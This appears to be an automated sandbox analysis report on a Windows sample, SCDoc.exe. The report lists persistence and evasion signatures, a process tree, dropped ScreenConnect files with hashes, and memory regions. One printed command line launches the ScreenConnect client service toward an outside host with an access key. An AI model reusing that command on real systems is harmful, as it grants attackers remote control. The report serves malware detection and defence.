Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 05:09

General

  • Target
    SCDoc.exe
  • Size 5.4MB
  • Sample260814-ftcgmsvgmb
  • SHA256 26a3c5b62f5a4ba546d628160b8d609e088b9ed6cf1be1a35017a1262967a9bd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\SCDoc.exe
    "C:\Users\Admin\AppData\Local\Temp\SCDoc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:8
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\1bc3b5b16178bc1c\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:6052
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 16A624C2551B93D9F2A68BB314C323DD C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5052
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI16E9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240719796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1888
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4392
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5460B5DAA014D5682408874354A8A834
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5392
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1356859B111BE5826AAFD0D7CEAA2ECF E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5928
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5892
    • C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=fileshareit.xyz&p=8041&s=988a819d-cc52-4567-979d-2d8671b1b877&k=BgIAAACkAABSU0ExAAgAAAEAAQDtlz50gptO1EJjGV85kTOcAjfJvQfbXHVBYYIaPT9%2bRFgDSfte%2fHdNsBo2x9YoO1e7YeLoK%2bo%2bRA%2f8FCrmpLffsXp06bymd4POy0ytM0uIbckeg7H8%2b0K03Qmhp1yknhsV%2fX7zS2Ng%2bCj2Ah%2fwtLfvBFX5zvbFIO006rdYcr6ouH87eAzUTrbg%2favJqeC%2bDo3hzY6dtWq2YR2wDdlakv4dA%2feJeQu3G15rjFq0srpC7w9pi8PLZl7LWG8hGKmxHAUP4kvgMFubiFNSa1Bs%2fhwjN6lnlYYQq2nAI%2fKcuVKSB%2fh6BFnCax0SxGGhIX%2feeTUTAkelrYyGF4wSEoVk5jLb"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsClient.exe" "RunRole" "d18d1315-c24f-4dd4-a2c2-1c750a41ba46" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3380
      • C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsClient.exe" "RunRole" "2d1bd76e-5b7b-4702-a886-5d0a213d18f4" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1240

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596846.rbs

          • Path C:\Config.Msi\e596846.rbs
          • Size 214KB
          • SHA256 4f03cea91a5fa275d8c503aa6855c86ef31c98d662c55a5d8cad8f2a8d16473e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1bc3b5b16178bc1c)\system.config
          • Size 953B
          • SHA256 6b565e0e79a7815672c137b34c147ecd2ad868aee698c6b6ea1232db423b1187
          • MD5 SHA1 SHA512 TLSH

          MSI16E9.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI16E9.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI16E9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI16E9.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI16E9.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI16E9.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\1bc3b5b16178bc1c\ScreenConnect.ClientSetup.msi
          • Size 9.5MB
          • SHA256 e171d221a43e4af5b6132d04a8c3d029541ad6b29068752f412e5dcd86f572d5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6EDE.tmp

          • Path C:\Windows\Installer\MSI6EDE.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 cb3da27fbb0bb7a5ba13c74df0fc46b8b5927b84109292f06cf759f3ea929993
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {459db6b8-4782-4d1e-9601-23a899a4b9ae}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{459db6b8-4782-4d1e-9601-23a899a4b9ae}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 5e63392f8493f26966dd0dd88abb273d0ad50f1c70dbc8fd43076a57c6bb0170
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/8-5-0x0000000002F90000-0x0000000002FB2000-memory.dmp

          memory/8-3-0x00000000745D0000-0x0000000074D8C000-memory.dmp

          memory/8-13-0x00000000745D0000-0x0000000074D8C000-memory.dmp

          memory/8-0-0x00000000745E2000-0x00000000745E3000-memory.dmp

          memory/8-1-0x00000000013F0000-0x00000000013F8000-memory.dmp

          memory/8-10-0x00000000745D0000-0x0000000074D8C000-memory.dmp

          memory/8-9-0x00000000745D0000-0x0000000074D8C000-memory.dmp

          memory/8-6-0x00000000055B0000-0x000000000575A000-memory.dmp

          memory/8-7-0x00000000745D0000-0x0000000074D8C000-memory.dmp

          memory/8-8-0x0000000006160000-0x000000000671A000-memory.dmp

          memory/8-4-0x0000000005510000-0x000000000559C000-memory.dmp

          memory/8-2-0x00000000058B0000-0x0000000005BA0000-memory.dmp

          memory/1888-32-0x0000000003E80000-0x0000000003EAE000-memory.dmp

          memory/1888-36-0x0000000003EC0000-0x0000000003ECA000-memory.dmp

          memory/1888-44-0x0000000006220000-0x00000000063CA000-memory.dmp

          memory/1888-40-0x0000000005FE0000-0x000000000606C000-memory.dmp

          memory/3380-127-0x000000001B430000-0x000000001B4BC000-memory.dmp

          memory/3380-125-0x0000000000420000-0x00000000004B6000-memory.dmp

          memory/3380-128-0x000000001B670000-0x000000001B81A000-memory.dmp

          memory/3380-126-0x000000001B020000-0x000000001B056000-memory.dmp

          memory/3380-129-0x000000001C5D0000-0x000000001C758000-memory.dmp

          memory/3380-130-0x00000000025F0000-0x0000000002608000-memory.dmp

          memory/3380-131-0x000000001B3A0000-0x000000001B3B8000-memory.dmp

          memory/3828-117-0x00000000048E0000-0x00000000049B2000-memory.dmp

          memory/3828-113-0x00000000046F0000-0x0000000004782000-memory.dmp

          memory/3828-115-0x0000000004430000-0x0000000004471000-memory.dmp

          memory/3828-112-0x00000000043F0000-0x0000000004426000-memory.dmp

          memory/3828-108-0x00000000043A0000-0x00000000043F0000-memory.dmp

          memory/3828-86-0x0000000001B50000-0x0000000001B68000-memory.dmp